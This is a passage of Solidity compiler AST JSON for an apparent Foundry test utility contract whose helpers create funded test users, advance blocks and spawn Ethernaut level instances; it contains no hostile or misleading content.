quested":false,"nodeType":"ElementaryTypeNameExpression","src":"574:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":66375,"name":"uint160","nodeType":"ElementaryTypeName","src":"574:7:154","typeDescriptions":{}}},"id":66381,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"574:26:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":66374,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"566:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":66373,"name":"address","nodeType":"ElementaryTypeName","src":"566:7:154","typeDescriptions":{}}},"id":66382,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"566:35:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":66372,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"558:8:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":66371,"name":"address","nodeType":"ElementaryTypeName","src":"558:8:154","stateMutability":"payable","typeDescriptions":{}}},"id":66383,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"558:44:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"VariableDeclarationStatement","src":"535:67:154"},{"expression":{"id":66392,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":66385,"name":"nextUser","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66364,"src":"612:8:154","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":66389,"name":"nextUser","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66364,"src":"650:8:154","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":66387,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"633:3:154","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":66388,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"637:12:154","memberName":"encodePacked","nodeType":"MemberAccess","src":"633:16:154","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":66390,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"633:26:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":66386,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"623:9:154","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":66391,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"623:37:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"612:48:154","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":66393,"nodeType":"ExpressionStatement","src":"612:48:154"},{"expression":{"id":66394,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66370,"src":"677:4:154","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":66368,"id":66395,"nodeType":"Return","src":"670:11:154"}]},"functionSelector":"b90a68fa","implemented":true,"kind":"function","modifiers":[],"name":"getNextUserAddress","nameLocation":"469:18:154","parameters":{"id":66365,"nodeType":"ParameterList","parameters":[],"src":"487:2:154"},"returnParameters":{"id":66368,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66367,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":66397,"src":"508:15:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":66366,"name":"address","nodeType":"ElementaryTypeName","src":"508:15:154","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"src":"507:17:154"},"scope":66673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":66448,"nodeType":"FunctionDefinition","src":"740:370:154","nodes":[],"body":{"id":66447,"nodeType":"Block","src":"820:290:154","nodes":[],"statements":[{"assignments":[66407],"declarations":[{"constant":false,"id":66407,"mutability":"mutable","name":"users","nameLocation":"855:5:154","nodeType":"VariableDeclaration","scope":66447,"src":"830:30:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":66405,"name":"address","nodeType":"ElementaryTypeName","src":"830:15:154","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66406,"nodeType":"ArrayTypeName","src":"830:17:154","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":66413,"initialValue":{"arguments":[{"id":66411,"name":"userNum","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66399,"src":"885:7:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":66410,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"863:21:154","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (address payable[] memory)"},"typeName":{"baseType":{"id":66408,"name":"address","nodeType":"ElementaryTypeName","src":"867:15:154","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66409,"nodeType":"ArrayTypeName","src":"867:17:154","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}}},"id":66412,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"863:30:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"830:63:154"},{"body":{"id":66443,"nodeType":"Block","src":"941:140:154","statements":[{"assignments":[66425],"declarations":[{"constant":false,"id":66425,"mutability":"mutable","name":"user","nameLocation":"971:4:154","nodeType":"VariableDeclaration","scope":66443,"src":"955:20:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":66424,"name":"address","nodeType":"ElementaryTypeName","src":"955:15:154","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"}],"id":66429,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":66426,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"978:4:154","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"id":66427,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"983:18:154","memberName":"getNextUserAddress","nodeType":"MemberAccess","referencedDeclaration":66397,"src":"978:23:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_address_payable_$","typeString":"function () external returns (address payable)"}},"id":66428,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"978:25:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"VariableDeclarationStatement","src":"955:48:154"},{"expression":{"arguments":[{"id":66433,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66425,"src":"1025:4:154","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"313030","id":66434,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1031:9:154","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"expression":{"id":66430,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1017:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66432,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1020:4:154","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"1017:7:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":66435,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:24:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66436,"nodeType":"ExpressionStatement","src":"1017:24:154"},{"expression":{"id":66441,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":66437,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66407,"src":"1055:5:154","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":66439,"indexExpression":{"id":66438,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66415,"src":"1061:1:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1055:8:154","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":66440,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66425,"src":"1066:4:154","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1055:15:154","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66442,"nodeType":"ExpressionStatement","src":"1055:15:154"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":66420,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":66418,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66415,"src":"923:1:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":66419,"name":"userNum","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66399,"src":"927:7:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"923:11:154","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":66444,"initializationExpression":{"assignments":[66415],"declarations":[{"constant":false,"id":66415,"mutability":"mutable","name":"i","nameLocation":"916:1:154","nodeType":"VariableDeclaration","scope":66444,"src":"908:9:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66414,"name":"uint256","nodeType":"ElementaryTypeName","src":"908:7:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":66417,"initialValue":{"hexValue":"30","id":66416,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"920:1:154","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"908:13:154"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":66422,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"936:3:154","subExpression":{"id":66421,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66415,"src":"936:1:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":66423,"nodeType":"ExpressionStatement","src":"936:3:154"},"nodeType":"ForStatement","src":"903:178:154"},{"expression":{"id":66445,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66407,"src":"1098:5:154","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"functionReturnParameters":66404,"id":66446,"nodeType":"Return","src":"1091:12:154"}]},"functionSelector":"792e11f5","implemented":true,"kind":"function","modifiers":[],"name":"createUsers","nameLocation":"749:11:154","parameters":{"id":66400,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66399,"mutability":"mutable","name":"userNum","nameLocation":"769:7:154","nodeType":"VariableDeclaration","scope":66448,"src":"761:15:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66398,"name":"uint256","nodeType":"ElementaryTypeName","src":"761:7:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"760:17:154"},"returnParameters":{"id":66404,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66403,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":66448,"src":"794:24:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":66401,"name":"address","nodeType":"ElementaryTypeName","src":"794:15:154","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":66402,"nodeType":"ArrayTypeName","src":"794:17:154","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"src":"793:26:154"},"scope":66673,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":66467,"nodeType":"FunctionDefinition","src":"1177:141:154","nodes":[],"body":{"id":66466,"nodeType":"Block","src":"1225:93:154","nodes":[],"statements":[{"assignments":[66454],"declarations":[{"constant":false,"id":66454,"mutability":"mutable","name":"targetBlock","nameLocation":"1243:11:154","nodeType":"VariableDeclaration","scope":66466,"src":"1235:19:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66453,"name":"uint256","nodeType":"ElementaryTypeName","src":"1235:7:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":66459,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":66458,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":66455,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"1257:5:154","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":66456,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1263:6:154","memberName":"number","nodeType":"MemberAccess","src":"1257:12:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":66457,"name":"numBlocks","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66450,"src":"1272:9:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1257:24:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1235:46:154"},{"expression":{"arguments":[{"id":66463,"name":"targetBlock","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66454,"src":"1299:11:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":66460,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1291:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66462,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1294:4:154","memberName":"roll","nodeType":"MemberAccess","referencedDeclaration":15392,"src":"1291:7:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":66464,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1291:20:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66465,"nodeType":"ExpressionStatement","src":"1291:20:154"}]},"functionSelector":"f82de7b0","implemented":true,"kind":"function","modifiers":[],"name":"mineBlocks","nameLocation":"1186:10:154","parameters":{"id":66451,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66450,"mutability":"mutable","name":"numBlocks","nameLocation":"1205:9:154","nodeType":"VariableDeclaration","scope":66467,"src":"1197:17:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66449,"name":"uint256","nodeType":"ElementaryTypeName","src":"1197:7:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1196:19:154"},"returnParameters":{"id":66452,"nodeType":"ParameterList","parameters":[],"src":"1225:0:154"},"scope":66673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":66525,"nodeType":"FunctionDefinition","src":"1324:346:154","nodes":[],"body":{"id":66524,"nodeType":"Block","src":"1436:234:154","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":66480,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1446:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66482,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1449:10:154","memberName":"recordLogs","nodeType":"MemberAccess","referencedDeclaration":12617,"src":"1446:13:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":66483,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1446:15:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66484,"nodeType":"ExpressionStatement","src":"1446:15:154"},{"expression":{"arguments":[{"id":66490,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66473,"src":"1515:5:154","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":66485,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66470,"src":"1471:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":66487,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1481:19:154","memberName":"createLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49017,"src":"1471:29:154","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) payable external"}},"id":66489,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":66488,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66475,"src":"1508:5:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"1471:43:154","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_contract$_Level_$55508_$returns$__$value","typeString":"function (contract Level) payable external"}},"id":66491,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1471:50:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66492,"nodeType":"ExpressionStatement","src":"1471:50:154"},{"assignments":[66498],"declarations":[{"constant":false,"id":66498,"mutability":"mutable","name":"entries","nameLocation":"1547:7:154","nodeType":"VariableDeclaration","scope":66524,"src":"1531:23:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":66496,"nodeType":"UserDefinedTypeName","pathNode":{"id":66495,"name":"Vm.Log","nameLocations":["1531:2:154","1534:3:154"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"1531:6:154"},"referencedDeclaration":12060,"src":"1531:6:154","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":66497,"nodeType":"ArrayTypeName","src":"1531:8:154","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"id":66502,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":66499,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1557:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66500,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1560:15:154","memberName":"getRecordedLogs","nodeType":"MemberAccess","referencedDeclaration":12595,"src":"1557:18:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr_$","typeString":"function () external returns (struct VmSafe.Log memory[] memory)"}},"id":66501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1557:20:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"1531:46:154"},{"expression":{"id":66522,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":66503,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66478,"src":"1588:8:154","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"baseExpression":{"expression":{"baseExpression":{"id":66510,"name":"entries","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66498,"src":"1623:7:154","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"id":66515,"indexExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":66514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":66511,"name":"entries","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66498,"src":"1631:7:154","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"id":66512,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1639:6:154","memberName":"length","nodeType":"MemberAccess","src":"1631:14:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":66513,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1648:1:154","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1631:18:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1623:27:154","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_memory_ptr","typeString":"struct VmSafe.Log memory"}},"id":66516,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"1651:6:154","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":12055,"src":"1623:34:154","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":66518,"indexExpression":{"hexValue":"32","id":66517,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1658:1:154","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1623:37:154","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":66509,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1615:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":66508,"name":"uint256","nodeType":"ElementaryTypeName","src":"1615:7:154","typeDescriptions":{}}},"id":66519,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1615:46:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":66507,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1607:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":66506,"name":"uint160","nodeType":"ElementaryTypeName","src":"1607:7:154","typeDescriptions":{}}},"id":66520,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1607:55:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":66505,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1599:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":66504,"name":"address","nodeType":"ElementaryTypeName","src":"1599:7:154","typeDescriptions":{}}},"id":66521,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1599:64:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1588:75:154","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":66523,"nodeType":"ExpressionStatement","src":"1588:75:154"}]},"functionSelector":"1c7db669","implemented":true,"kind":"function","modifiers":[],"name":"createLevelInstance","nameLocation":"1333:19:154","parameters":{"id":66476,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66470,"mutability":"mutable","name":"ethernaut","nameLocation":"1363:9:154","nodeType":"VariableDeclaration","scope":66525,"src":"1353:19:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract 